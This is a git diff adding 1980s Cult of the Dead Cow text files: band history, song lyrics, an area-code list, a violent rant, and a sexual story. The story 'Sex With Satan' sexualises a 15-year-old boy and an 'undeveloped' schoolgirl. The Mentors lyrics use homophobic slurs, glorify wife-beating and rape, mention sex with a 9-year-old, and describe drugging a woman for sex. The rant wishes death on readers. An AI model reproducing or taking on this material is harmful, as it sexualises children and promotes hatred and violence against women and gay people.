+ +In the wonderful windy waste of Chicago was where we met our new hero, the +legendary Harold Schvenkel, former session musician who "aaah...worked with all +the greats! Like yer Steely Dans, yer Eagles, yer Joi Mitchells, yer Queens, +yer uh.. what the hell! There's no integrity left in the business these day +and I need to... uh, let my nose heal, uh.... what the hell!" Well Harry + really dug the Black Flag thing and decided that the only way to kick a nasty +cocaine habit was to change his life, move out to California, and become a +producer. + +Arriving back in LA, we embarked upon our first 24+track recording session (all +previous recordings were 16-track) which became known as the "Aborted Police +Story Project". From this came the "Louie Louie"/"Damaged I" single. This was +also the final session done at Media Art which lost its lease and ceased +operation in spring of '81, and where I had been living throughout all this +madness. The vocal on the version of "Louie, Louie" contained herein was the +very last track I recorded at the studio. The next day was when the control +board and the machines were disconnected and carried out the door. + +In March came U.S. tour #2 which was a particularly fun one. Back in LA we +made another attempt to record the album, this time in a new studio (Golden +Age) with Geza-X coproducing. From this was released the "Six Pack" single and +two other songs "Machine" & "Police Story" for compilations. + +And that's about it, y'all. Except for the commercials but there we have a +clear-cut case of combined Black Flag/Merril/Spot overgelatination being fed +too many pots of generic coffee during those crass midnight hours. But like +our hero H. Schvenkel once told us: "Aaaah.... What the hell! Why get +punched when you can get fully blasted?" + + -SPOT + +"I guess I was the first person to record Black Flag. They looked real strange +and they had these big amplifiers. Then they started playing, they kept +playing, they kept playing, I asked them to stop, but they kept playing, they +kept playing, I said please, but they kept playing, they kept playing, I still +hear them, they keep playing, they keep playing, they keep playing, inside my +eyball, this eye here, they keep playing, they keep playing, they keep ..." + + David Tarling, former recording engineer + Jim Jones Memorial Wing, Patton State Mental Hospital + +=============================================================================== + (c)1988 cDc communications by Suicidal Amoeba 1/0/88-36 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0037.txt b/textfiles.com/groups/CDC/cDc-0037.txt new file mode 100644 index 00000000..e8fa6c92 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0037.txt @@ -0,0 +1,98 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + A Few Good Songs Off of EAT YOUR PAISLEY + The Dead Milkmen + + by Psychedelic Warlord + + -/- A Cult Publication......1988 -\- + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +EARWIG +_-_-_-_ + +Your ears fell off in the parking lot, +your blood is still dripping, God I hope it clots. +You say you're o.k., but we know you're not. +Your eyes went cross, do you see spots? +Well, I'm not saying that you're gonna die, +I just might be hintin' that you're feelin' little ill. +And I guessed we all learned a lesson, +and I guess we're all feelin' a little thrilled. + +Your hands fell off and then your mind bloated, +your arms fell asleep, and then your lungs caroded. +Your shoulders slumped forward, then your heart exploded, +you look pretty gross, so we all got loaded. +Well, I'm not saying that you're gonna die, +I just might be hinting that you won't be around. +And you can get head, and sell all your breakfeast, +'coz you gotta go down, six feet under ground. +And... YOU GOT EARWIGS! Crawl toward your brain. +YOU GOT EARWIGS! The glorious pain. + +Your mind moved blank about a week ago, +your head fell out, but you didn't know. +You might want to relax, and take it slow, +'coz in a couple of days you might begin to glow. +Well, I'm not saying that you're gonna die, +I just might be hinting that it'll make you feel light. +And you could be paying me that money you owe me, +you know I really hate to put you on the spot, coz.. +YOU GOT EARWIGS! Crawl towards your brain. +YOU GOT EARWIGS! The fashionable pain. + +Well, I'm not saying that you're gonna die, +I just might be hinting that your real, real ill. +I guess we all learned our lesson, +and I guess we're all gettin' a little thrilled. + + +BEACH PARTY VIETNAM +_-_-_-_-_-_-_-_-_-_ + +It's a beach party Vietnam, +surfin' with the Viet Cong, +cookin' hot dogs with napalm, +a beach party Vietnam. + +Frankie and Anette were laying on the sand, +when Frankie got a letter from his Uncle Sam, +saying "Get Moondog and all your friends, +you're all invited to a-" +Beach party Vietnam, +surfin' with the Viet Cong, +cookin' hot dogs with napalm, +a beach party Vietnam. + +"Hey Frankie, aren't you gonna give me your class ring?" +"Ahh, I'm afraid I can't do that Anette." +"Why not?" +"'Coz I don't have any arms....AHHHHHHHHH." +Beach party Vietnam, +surfin' with the Viet Cong, +cookin' hot dogs with napalm, +a beach party Vietnam. + +Anette, she wants Frankie's ring, +Frankie wants Anettes..thing, +they're laying on the west beach coast, +there's gonna be a wiener-roast. +It's a beach party Vietnam, +surfin' with the Viet Cong, +cookin' hot dogs with napalm, +a beach party Vietnam. + +=============================================================================== + There's really no (c)opyright 1988 cDc communications by Psychedelic Warlord + All Rights Worth Shit 1/0/88-37 + diff --git a/textfiles.com/groups/CDC/cDc-0038.txt b/textfiles.com/groups/CDC/cDc-0038.txt new file mode 100644 index 00000000..8d4dc7e6 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0038.txt @@ -0,0 +1,103 @@ + + _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ + _| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_ +|_ _| + _| _ _ _ _ |_ +|_ ((___)) cDc communications ((___)) _| + _| [ x x ] presents... [ x x ] |_ +|_ \ / \ / _| + _| (` ') AREA CODE AND TIME ZONE LISTING (` ') |_ +|_ (U) (U) _| + _| |_ +|_ by Bovine Priest and Cultee: _| + _| |_ +|_ Reverend Dial Tone _| + _| |_ +|_ dEM0n r0ACh uNDERGR0UNd (300/1200/2400) [806] 794-4362 _| + _| dRAG0NFIRe pRIVATe (1200 only) [609] 424-2606 |_ +|_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _| + |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| |_| + + + Ok this is nothing big, it's my third text file for 1988 from cDc + communications. Here goes. + + Time Zones + ---------- + + Atlantic + -------- + + Newfoundland Nova Scotia New Brunswick + + Eastern + ------- + + Maine New Hampshire Vermont Massachussets New York Rhode Island + Connecticut Pennsylvania New Jersey Delaware Maryland Ohio Indiana + Michigan West Virginia Virginia Kentucky North Carolina Tennessee + South Carolina Georgia Florida Quebec Ontario + + Central + ------- + + Manitoba North Dakota South Dakota Minnesota Wisconsin Michigan Iowa + Nebraska Illinois Kansas Missouri Kentucky Tennessee Arkansas Oklahoma + Texas Louisiana Alabama Mississippi Indiana + + Mountain + -------- + + Alberta Saskatchewan Montana Idaho Wyoming South Dakota Nebraska + Utah Colorado Kansas Oklahoma Arizona New Mexico + + Pacific + ------- + + British Columbia Washington Montana Oregon Nevada California Utah + + + Area Code Listing + ----------------- + + 205 - Alabama 907 - Alaska 602 - Arizona + 501 - Arkansas 714 - California (Orange) 818 - California + 213 - California (LA) 916 - California 619 - California + 415 - California (SF) 408 - California (San Jose) 303 - Colorado + 203 - Connecticut 302 - Delaware 904 - Florida + 305 - Florida (Miami) 404 - Georgia (Atlanta) 808 - Hawaii + 208 - Idaho 312 - Illinois (Chicago) 317 - Indiana + 219 - Indiana (Souend) 515 - Iowa (Des Moines) 316 - Kansas + 502 - Kentucky 504 - Lousiana (N. Orleans) 207 - Maine + 301 - Maryland 617 - Massachusetts 313 - Michigan + 616 - Michigan 612 - Minnesota 601 - Mississippi + 816 - Missouri (Kansas C) 314 - Kansas (St. Louis) 406 - Montana + 402 - Nebraska 702 - Nevada 603 - New Hampshire + 201 - New Jersey (Newark) 609 - New Jersey (I'm here) 505 - New Mexico + 718 - NYC (Brooklyn, S.I.) 212 - NYC (Bronx, Mhattan) 518 - NY (Albany) + 716 - NY (Buffalo) 516 - NY (Long Island) 315 - NY (Syracuse) + 914 - NY (White Plains) 704 - North Carolina 919 - North Carolina + 701 - North Dakota 513 - Ohio (Cincinnati) 216 - Ohio + 614 - Ohio (Columbus) 419 - Ohio (Toledo) 405 - Oklahoma + 918 - Oklahoma (Tulsa) 503 - Oregon 215 - Philadelphia PA + 401 - Rhode Island (cough) 803 - South Carolina 605 - South Dakota + 901 - Tennessee (Memphis) 615 - Tennessee (Nashville) 806 - Texas(Cow Hell) + 214 - Texas (Dallas) 817 - Texas (Forth Worth) 713 - Texas (Houston) + 512 - Texas (San Antonio) 801 - Utah 802 - Vermont + 703 - Virginia (Arlington) 804 - Virginia (Richmond) 202 - Washington DC + 206 - Washington (Seattle) 304 - West Virginia 608 - Wisconsin + 307 - Wyoming 666 - Where do you think + + Well that will make a nice printout for your wall, won't it. Now + you know where you're calling... + + + Thanks to : Franken Gibe (cause he made me happy haha) and Swamp Rat + +=============================================================================== + (c) 1987, 1988 cDc communications e.o.f. 10:01 EST Jersey 1/13/88-38 + + by Reverend Dial Tone [Joel] + + BOVINE IS FINE | BEEF IS CHIEF | COW IS NOW + diff --git a/textfiles.com/groups/CDC/cDc-0039.txt b/textfiles.com/groups/CDC/cDc-0039.txt new file mode 100644 index 00000000..7190682f --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0039.txt @@ -0,0 +1,80 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + FUCK THE WORLD + + by Swamp Rat + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + By Eddie Flowers in FORCED EXPOSURE (Winter '88) 'zine. +Print it out and stick it on your wall...a friend's wall...your mom's wall... + ...at school...the office...your dog...the bathroom! + + "I love the world and everybody in it, so fuck you all" -S. Ratte' + +------------------------------------------------------------------------------- + + FFFFFFFF TTTTTTTT WW WW WW + FF TT WW WW WW + FFFFF TT W WW W + FF TT WWWW + FF TT W W + + ================================== + + U P S C A L E ! + + U P C H U C K ! + + M O T H E R F U C K E R S ! + + + GET OUT OF MY WAY AND STAY OUT OF WAY! + + I'VE HAD IT UP THE ASS WITH YOU AND YOUR WORLD AND YOUR RULES + WHICH APPLY TO ME BUT NOT TO YOU. I'LL TAKE WHAT I NEED AND WANT + IF YOU WON'T GIVE ME WHAT I NEED AND EARN. ALL YOUR LIES AND SHIT + AND POWER MOTIVATE ME IN ALL THE WAYS YOU WON'T LIKE - ALL THE + LITTLE THINGS THAT MAKE ME WANT TO BUY A GUN, AND ALL THE BIG + THINGS THAT MAKE ME WANT TO USE IT. YOU DON'T CARE ABOUT ME, + AND YOU CAN BET YOUR ASS I DON'T CARE ABOUT YOU! IF MY FINGER + WAS ON THE BUTTON - AND THE BOMBS WERE AIMED AT YOU - I + WOULDN'T HESITATE FOR A MINUTE. BETTER YET, LET'S FORGET THE + QUICK WAY AND SWING WITH RADIATION, DAD - EATING AT YOUR BODY + AND YOUR FAMILY'S BODIES WITH ONLY THE COOLEST, MOST VILE + CANCERS! YEAH! YOU WITH YOUR CONDESCENDING SMILES - EAT MY + SHIT! MOVE YOUR MERCEDES, MOVE YOUR BMW - I HAVE NO RESPECT + FOR YOUR PROPERTY BECAUSE YOU HAVE NO RESPECT FOR MY VERY + EXISTENCE! THIS IS NOT A POLITICAL RANT. FUCK YOU, COMMIES! + FUCK YOU, RACIST SWINE! FUCK YOU, RONALD REAGAN! FUCK YOU, + PAT ROBERTSON! FUCK YOU, NEW AGE CRETINS! FUCK YOU, + WHINING LIBERALS! FUCK YOU, THIRD WORLD LEECHES! FUCK YOU, + JANE FONDA (AND I'LL EVEN USE MY OWN DICK)! I'LL WIPE MY BUTT + WITH ALL YOUR FLAGS! I'LL DRAIN MY BLADDER ON YOUR BIBLE, + YOUR KORAN, YOUR FUCKING MANIFESTOS! BUT I'LL KEEP THE BILL + OF RIGHTS AND SHOVE IT UP YOUR ASS! TELL ME I'M FREE? YEAH, I + WILL BE FREE - OR ELSE. THIS IS NOT AN ADOLESCENT RANT. THIS IS + THE ANGER AND FRUSTRATION OF TWENTY-NINE YEARS OF BEING + PUSHED AROUND, BEING SHIT ON, WAITING FOR NOTHING. I WANNA + GO CRAZY! SO DON'T TOUCH ME - DON'T FUCK WITH MY MIND OR + MY LIFE. I'LL LET YOU LIVE IF YOU LET ME LIVE. + LIKE I SAID - AND THIS IS THE ONLY CONDITION: + + GET OUT OF MY WAY AND STAY OUT OF MY WAY! + + I HOPE YOU DIE REAL SOON. + +=============================================================================== + (c)1988 cDc communications by Swamp Rat 1/27/88-39 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0040.txt b/textfiles.com/groups/CDC/cDc-0040.txt new file mode 100644 index 00000000..1db7b719 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0040.txt @@ -0,0 +1,147 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + SEX WITH SATAN + + by Psycoe + + >>> A CULT Distribution.....1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + First of all, this file is dedicated to my late dog, Cindy, who without +her influence, this file would never have been possible... + + ** This file contains explicit sexual material, so don't jack off on the + keyboard...** + +------------------------------------------------------------------------------- + My life had been very boring and drab. My subscriptions to Penthouse +and National Lampoon were about to expire so my life had no meaning. I had +been working mowing lawns, trying to get enough money to buy a hard drive... +since my ex-girlfriend told me that hard things were nicer than floppy ones. +My parents were in California to attend Reagan political rallies. My dad +posted a note on the local college job board that he needed a baby-sitter to +watch his 15-year-old son and sit by the pool and suntan. We got many phone +calls. My babysitter's name was known to me only as "38-24-36". + + The first days of my stay alone with the star of 'Debbie Does Dallas' +were pretty boring (since it was that time of month and I am not a vampire). +The third day of my stay, my baby-sitter sat down and told me that she had +fantasies of molesting young 15-year-old boys who she babysits for. She then +proceeded to fulfill our fate by sticking her soft hands down my pants and +unzipping me. She took off the top and bottom of her two-piece swimsuit, then +leaned over and told me she wanted to whisper sweet nothings in my rear. + + She told me she had seen this on a Cheech and Chong movie. I naturally +went along with the fantasy. She took off my pants and placed my 'joint' into +her vibrating mouth. As soon as she began to choke and gag, she turned her +head up and told me that she had one more fantasy to fulfill with me. I said +that I would do anything for her. She tied me to the bed with these handcuffs +she had ripped off a fucking pig cop. She proceeded to spank me and kept +calling me 'bad boy'. Then, the little nympho took out a lighter and set my +cock on fire and told me not to smoke. + + As I began to burn, I could faintly see her out of the corner of my +eye, molesting my pet gerbil while smoking a banana peel (which happened to be +my pecker). I saw a violent light, then a rainbow in the dark. + + I was dead and in Heaven. I, being an active atheist, didn't believe +a damn thing about this. I saw some gates and opened them and proceeded to +go through the bars. A man with a cane stopped me and told me he could answer +any questions I had about Heaven. I proceeded to ask, "Sir, if I lived a good +life and kept Kosher, helped little old ladies across the street, do you think +I could get a cute little angel to piss on my face every Thursday night in +Heaven?" The man immediately hit me in the balls with the cane and said, +"There is no sex or corruption in Heaven, we all sit around and meditate while +listening to Culture Club tapes." + + I said, "Fuck this shit, man, I absofuckinglutley don't want to spend +my eternity in this fag joint." I then left the gates and jumped into oblivion +through the clouds. + + I fell through the sky and felt the earth seal around me. I began to +hear some faint music! I immediately screamed "Now this is more fucking like +it!" I took out my pack of Menthol Players and lit it from the fire still +pertruding from my cock. A lady with extremely large breasts welcomed me into +my new home. I saw men orgying in the fire-laden streets with beautiful women. +I jumped on a 21-year-old woman and started banging her with my cock of fire. +She stood up and screamed, "Why's your cock on fire?" I told her my plight and +she told me to go to Satan's wife. + + I entered Satan's wife's house and signed the guest register. I ran up +to her room where she was actively masturbating with a broom stick. I said, +"Wow!" She looked up in ecstacy and and asked me what she could do for me. I +blushed. She said, "Besides that!" I told her of my story. She said she +could help me quench the fires, but I would have to pledge my life to winning +over the virginity of young school girls. She placed my cock in her mouth and +the fire was quenched by our joint ecstacy. + + I asked her what her name was in my last breath of passion. She said +it was Lita Ford. I asked her if the lady who set my cock on fire back on +earth was one of her followers. She said her name was Wendy O. Williams. I +said "WoW!" After having another engagement of oral sex with her steaming +clit, I was wisped away to the land of virginity and high school girls. + + I found myself in a private school for young, rich snobby girls. My +new identity was Angus. I had no last name, but never questioned the intent +of my master's wife. + + I first began to hunt out my prey with the high school cheerleaders. +But, after noticing that they stuck to the floor while doing splits, I decided +to go for less virile girls. + + I seduced a young girl whose face reminded me of an ancient memory. I +took her up to my apartment and she said she needed help with her geometry. I +showed her my obtuse angle and she showed me her acute one. As I tore off her +bra, I noticed how undeveloped she was. I took off her greasy panties and +began to tongue her love canal. She started to moan and said she couldn't +believe I was doing that to her. I just told her to sit back and relax. As I +licked her wet spot, I noticed her erect nipples and the tiny dew drops forming +around her clit. I tongue-fucked her for 15 minutes then started to push my +shaft up her. She started to moan with pleasure. I proceeded to tie her to +the bed with a pair of hot handcuffs which I had borrowed from Wendy. I forced +my victim's head down over my pulsating dong. She began to gag a familiar gag. +I let her head up for air for a moment. Then to my surprise, she stuck her +tongue out and it was flaming. I said, "Oh shit, not again!" She set my dick +on fire. + + As I proceeded to go back to my mistress in the underworld of sex ,I +began to think of how good it would feel to get my pecker's fire quenched again +by Satan's wife's cool pulsating tongue. I entered Hell for a second time and +everybody greeted me with praises and started begging for vibrators to be sold +in Hell for a lower price. I said, "Why ask me?" They told me it was all a +test to see who would be the new number two. I began to understand, as I +remembered the ancient lyrics of an Iron Maiden song named "The Prisoner." I +lit another Players and proceeded to my master's flaming house in the depths of +sex. I entered and Satan bowed down and kissed my hand. He said I am the new +number two since he is getting a little too old to get his cock sucked on +anymore by his wife. I took the position gladly. + + I realized my new position. I am SATAN! I have unlimited powers! +I began to lead unsuspecting virgin girls to my domain. I conquer earth with +my flaming nymphos. I proceed to climb up the ladder of Heaven and gangbang +all the ladies there and say, "You could have been doing this all your life +instead of living in misery trying to draft more people into your false faith!" +I then pick up my brand new electric Gibson Challenger with new tremelo bar and +customized locking bolts with the perfect distortion. I yelled the ancient and +foreshadowing lyrics of my cumming into power... + + + "I am the keeper of the Cock of Fire, + And I command you to bend over, wench!" + +------------------------------------------------------------------------------- +Note: Hope you enjoyed this exercise in demeneted sex and probably to be one + of the last few to have a 'Satanic' theme. -SR +=============================================================================== + (c)1988 cDc communications by Psycoe 2/7/88-40 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0041.txt b/textfiles.com/groups/CDC/cDc-0041.txt new file mode 100644 index 00000000..65489832 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0041.txt @@ -0,0 +1,572 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents \ / + (` ') (` ') + (U) (U) + + Lyrics To The Mentors "Up The Dose" LP + + By Mr. Drunkfux + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + So,like,Moo,d00dez!This is my first 'Official' writing for that ever + famous grewp of k-k00l el8 guYzZ,-cDc-.I've never been too big on lyric + files,but I figured someone HAD to type this one up.This file will prove + to do you 'l0aDz' of good in the case of a s-k00l songwriting contest + or a local church poetry reading.Just whip one of 'em out and impress + everyone (including your parents).Here we go... + + Heterosexuals Have The Right To Rock + ------------------------------------ + Heterosexuals have the right to rock + So glam fags get off the block + Who wants to see transvestites in drag + Who look like a glam rock fag + + Looking like a sissy and a bitch + Ya look like that your daddy must be rich + Make up on their face and their hair in a shag + You know that they're a disgrace and a fag + + Round up all glam faggots and put em in a cage + So the hetero Mentors can rock the stage + Heterosexuals have the right to rock + Wanna see a girl with a pussy and not a cock + + Heterosexuals want a rockin' chance + We don't wear dresses,we wear pants + On the stage we'll rock you all we can + We're gross and fat,but we look like a man + + Listen everyone,we're gonna rock + Look like a man not a peacock + The jerks with the make up who wear the braids + Are most likely to have AIDS + + Heterosexuals have the right to rock + Heterosexuals have the right to rock + Heterosexuals have the right to rock + Heterosexuals have the right to rock + + Ya know that their weiner looks like a noodle + They prance all around like a french poodle + They hang around in cliques for kicks + But we all know they're chicks with dicks + + They wash their hair in a washing machine + You know it's full of sperm and it ain't too clean + The fags wear earrings in their ear + You know that they're a mother fucking queer + + Heterosexuals have the right to rock + Put your homo head on the chopping block + Heteros want to see rock this year + Mentors and not a queer + + Heterosexuals have the right to rock + Heterosexuals have the right to rock + + + Rock 'Em Sock 'Em + ----------------- + I went out drinkin',drinkin' with the boys + I had to do it to get all my joys + I got drunk,so high on some booze + Comin home baby,to give you a bruise + + Rock 'em,Sock 'em,it's a gas + Rock 'em,Sock 'em,gonna kick your ass + Rock 'em,Sock 'em,it's a gas + Gonna come home drunk + And kick your big,fat ass + + Seein' other guys + With the makeup all over your eyes + I had to learn her the law of the land + I showed her the power of my back hand + + Rock 'em,Sock 'em,it's a gas + Rock 'em,Sock 'em,gonna kick your ass + Rock 'em,Sock 'em,it's a gas + Gonna come home drunk little woman + And kick your big,slutty ass + + And I'm gonna beat you + And whip you with my belts + On your face I'm gonna leave some bruises + On your ass I'll leave some welts + + No no,I don't want to miss her + Gonna pop her in the kisser + No no,I don't want to hear you nag + Gonna use your face for a punching bag + + Beat you and beat you and beat you and beat you + I'm gonna punch you where you kiss + And I'm gonna beat you baby + If you love me,drink my piss + + Rock 'em,Sock 'em,it's a gas + Rock 'em,Sock 'em,gonna kick your ass + Rock 'em,Sock 'em,it's a gas + Gonna come home drunk and kick your big,fat ass + + Pig beating pig beating pig beating + That's how I get my kicks + Take that slut + + Oh oh,this time I don't want to miss her + Gonna punch her in the kisser + Oh oh,don't want to listen to you nag + Gonna use your face for a punching bag + + + White Trash Woman + ----------------- + Let me tell you what happened the other day + Met this woman I took home to lay + I went over to the sleasy diner + Met this wench sporting a shiner + + She said Duce,kick back and don't be bored + I'm goin' down to satisfy the landlord + Kickin' back at the pad where we stay + Watchin 3 stooges and cartoons all day + + She sexually satisfies the wrinkled man for his thrill + So I don't have to worry about all the expensive bills + She's a white trashy woman and I love her cause I don't have to work + Yeah + + She's kinda funny and kinda rude + She hooks for money and shoplifts for food + She provides the money where we stay + Heck,there ain't any other way + + She's my white trash woman and I use her so I don't have to work + Yeah + + I wonder if every day was like this + I saw her here yesterday at the diner give every sleasy guy a kiss + Yuk + + White trash woman,she's a white trash woman + + + Adultery + -------- + I'm lookin' for a chick that wears a ring + Cause one night stands are my thing + Your marriage means nothin' to me + I'm totally into adultery + + It's our secret between just you and me + That we're into committing adultery + + She was feeling all alone + She called me up on the telephone + She said,Hey stud let's go out for dinner + Cause she knows I'm one hell of a sinner + + It's our secret between just you and me + That we love to committ adultery + Adultery + That's the life for you and me + Adultery + That's the life for you and me + + Now it's time that we hit the sack + I'm gonna pull out and come on your back + I don't want your old man knowin' I was there + So he will still chow down in your pubic hair + + It's our secret between just you and me + That we love to committ adultery + Adultery,that's the life for you and me yeah + Adultery,that's the life for you and me slut + + You and me naked together had fun + I hope you and your husband enjoy raisin' my son + We were drunk and feelin' fine + I just hope my son has a dick like mine + + It's our secret between just you and me + That we love to committ adultery + Adultery,that's the life for you and me slut + Adultery,that's the life for you and me yeah + Adultery,that's the life for you and me + Adultery,that's the life for you and me + + + On The Rag + ---------- + My bitch is on the rag + Bloody cunt is such a drag + My bitch is on the rag + Oh she's such a nag + + Ran and jumped and splashed in her bed + Then I noticed the sheets were all bloody red + I was chowin' down and somethin' tasted weird + Ran to the mirror saw blood on my beard + + My bitch is on the rag + Bloody cunt is such a drag + My bitch is on the rag + Oh,oh,oh she's such a nag + + Then she said she wanted to ball + I said shut up bitch and take a midol + She insisted on having sex + Spread her legs and saw a kotex + + My bitch is on the rag + Bleeding hole is such a drag + My bitch is on the rag + Oh,oh,oh she's such a nag + + She was bitchy and causing a fuss + It's an added problem between us + Water build up what a drag + I know this bitch is on the rag + + When this bitch is on the rag + I love to say things and I love to brag + Usually sex is such a gas + But this time,I'm crammin' it up her ass yeah + + My bitch is on the rag + Bleeding twit is such a drag + My bitch is on the rag + Oh,oh,oh she's such a nag + + On the rag,what a drag,on the rag,what a drag + She's on the rag,she's on the rag,she's such a nag + + + Kick It On Down + --------------- + Don't ya love it baby + When you gotta get it on + With a cruster + With a hard on and bad breath breathing in your face + + Saw you walking down the street + Watcha doing,out walking your beat? + I got money,I got power + How much to give you a golden shower + + So she got in my car + And we drove real far + So she could + Kick it on down + Talking 'bout your body yeah + Kick it down slut + Kick it on down + + Well I got money + And I want + Your pussy + And your tits + Kick it on down + + Wench + Your body is ours to share + Let me help myself to your body + And we'll go + Around the world + + Kick it + Kick it + Kick it on down + Talking 'bout deep throat + Down + + Talking 'bout your body baby + I wanna piece of you + Take you home for my buddies to also screw + + Don't ya love it when I introduce you to the guys out back + Kick it on down + Don't go home to your main man,ya gotta stay here + Kick it on down + To the road crew yeah + Kick it on down + To the photographer and the soundman + Kick it on down + + Hussy,your body is ours to share + Let me help myself to your body + And we can be naked together + Down + Kick it down,kick it down + + Don't ya love it when you gotta get it on + With a bald,fat,bearded,bad breath slob + And ya know you gotta do it for drugs or money + Beacause that's your job + Yeah,kick it down to a crusty hippie + Slut,kick it down to the dudes on Hollywood and Western + Kick it on down + At the rector hotel you gotta + Kick it on down + To the swedish erotica team + Kick it on down + To a drug dealer,kick it down + Kick it on down + Do it for drugs,or do it for money + Either way,I think it's funny + + Don't ya love it now yeah + Kick it on down + Pull off your clothes + I wanna see those boobs + Kick it on down + No,we're not done yet + We got more dudes to screw you all around + Kick it on down to a cruster + To a bum under the freeway + Kick it on down + To a lice ridden,crusty biker + Kick it on down + Sleasy cum,yeah,rubbin' in your face + Kick it on down + To me yeah,and all my road crew + Kick it on down + + + Secretary Hump + -------------- + Here comes my secretary hump + I'm gonna cram my dick up her rump + She works all day from nine to five + She's kickin' up my sex drive + Now I'm gonna open her mouth real wide + And cram my big dick inside + + Now,I'm just an executive on the job + And I'm just a horny slob + Here comes my secretary hump + Gonna cram my dick up her rump + Then I'm gonna open her pussy lips real wide + Then I'm gonna cram my infected dick inside + + Oh gettin' my urge up + She looks so sexy + Long fingernails,short little skirt + Can't hold back any longer + Can't stop myself + + Ha,ha,ha,ha,rape,rape,rape,rape,rape,take charge + + Here comes my secretary hump + Gonna cram my dick up her rump + Then I'm gonna spread her butt cheeks real wide + And hock a luggie inside + She knew what to do around the clock + She knew how to blow my cock + She knew what to do when hired + If she doesn't put out,she's fired + + Ah,you want to raise a baby? + Get it on with big,boss,daddy man + Don't look at me like you're too smart + You're just a little tart + + You want a raise? + Unzip my zipper,I'll give you a raise + Ha,ha,ha,ha,rape,rape,rape,rape,take charge + + + Couch Test Casting + ------------------ + I'm couch test casting in Hollywood + Couch test casting makes me feel so good + My luck with women is ever lasting + On my office couch,I'm always casting + + You wanna come to Hollywood and be a star + Have sex with me and you'll go real far + The office is open from 8 to 4 + Don't care if you can act cause you're just a whore + + There was a woman from North Carolina off the bus + She kicked me down her body without a fuss + The next girl came all the way from New York City + She gave me a lay and let me suck her titty + + You wanna come to Hollywood and be a star + Have sex with me and you'll go real far + Take acting lessons and modeling class + It don't matter,I'll be messin' with your ass + + The next girl was 9 and needed protection + I got bold and I got an erection + So all you chicks,if you wanna go far + You gotta have sex with me if you wanna be a star + + You wanna come to Hollywood and be a star + Have sex with me and you'll go real far + Lying on your back you say you can act + You're just a slut and that's a fact + + Couch test casting ih Hollywood + Makes me feel so nasty and makes me feel so good + And when I'm through with you baby + There's a street pump waiting just for you yeah! + + You wanna come to hollywood and be a star + Have sex with me and you'll go real far + My office is open from 8 to 4 + I don't care if you can act cause you're just a whore + + + S.F.C.C. + -------- + Suck and fuck and cook and clean + Baby you know what I mean + You gotta do it every day + Suck and fuck and cook and clean + Slut you know what I mean + It's your daily routine + + First you suck + Then you fuck + Then you cook + And last you clean + + Suck and fuck and cook and clean + Baby do you know what I mean? + I'm the king of the castle + Suck and fuck and cook and clean + Baby you know what I mean + Don't give me a hassle + + First you suck + Then you Fuck + Then you cook + And last you clean + + Suck and fuck + Cook and clean + Come on slut + You know what the hell I mean + + If you want to please your master + You got to do it faster + If you want to be my wife + You got to do it all the rest of your life + + First you suck,slut + Then you fuck,yeah you dumb airhead + Then you cook,eat lots of food + Then you clean my pad + + Wash my socks,scrub my ass + Draw me a bath bitch + Then you cook me a feast + Yeah + Then you clean,scrub my pad throughly + Suck and fuck and cook and clean + Slut,you know it's your future + If you know what I mean + Suck and fuck and cook and clean + It's your daily routine + + + Up The Dose + ----------- + It's the time for the thrills + I got an assortment of knockout pills + Soon you'll be lyin' in my bed + I know you'll be givin' head + + This is what I got for you + A ton of drugs to do + So shut up and listen to this + + Now take qualludes and thorazine + Heroin and morophine + Reds dilaudid percodan valium codeine number 4 + Alcohol sleep eze marijuana romilar niquil loads + Angel dust librium + Take tons of it baby + Take it all + And we'll be naked + Ballin' together + + Qualludes and morophine,heroin and thorazine + Reds dilaudid percodan valium codeine number 4 + Alcohol sleep eze marijuana romilar niquil loads + Angel dust + + C'mon baby,do as I say + It's the only way I'll get my lay + Up the dose and we'll be naked today + Rubbin' our sex organs together + + Qualludes and morophine + Heroin and thorazine + Reds dilaudid + Percodan and valium too + + Now take the codeine number 4 alcohol sleep eze + Marijuana romilar niquil loads angel dust librium + Mandrax glue mda + + And we'll be naked + It's the only way + When you're high on drugs + It's how I get my lay + + Qualludes and morophinem,heroin and thorazine + Mda codeine alcohol + + Up the dose,up the dose,we have so much fun + Up the dose,you can have my son + Up the dose and we'll be naked together + + Qualludes and morophine,Heroin and thorazine + Reds dilaudid percodan and mandrax + Sniff some glue + Baby + + + + Pretty impressive,eh?I had to insert all the punctutaion,because + there wasn't any on the lyric sheet.I can kind of understand that + though,I doubt they really could give a fuck about punctuation (or know + what the hell it is).Make sure to pass this file along to family + members,your sunday sk00l class,Santa Claus,the women's rights + council,the tooth fairy,the girl scouts,and the facuilty of your + local church,so that it can be throughly enjoyed by one and all. + + Thanks aren't neccessary because no one helped me type this fucking + thing,I stole the cassette,and I had to squint for 8 hours trying + to decipher the words (which are about 1/87921th of an inch big).Plus, + like I said,I had to put in all the spiffy punctuation 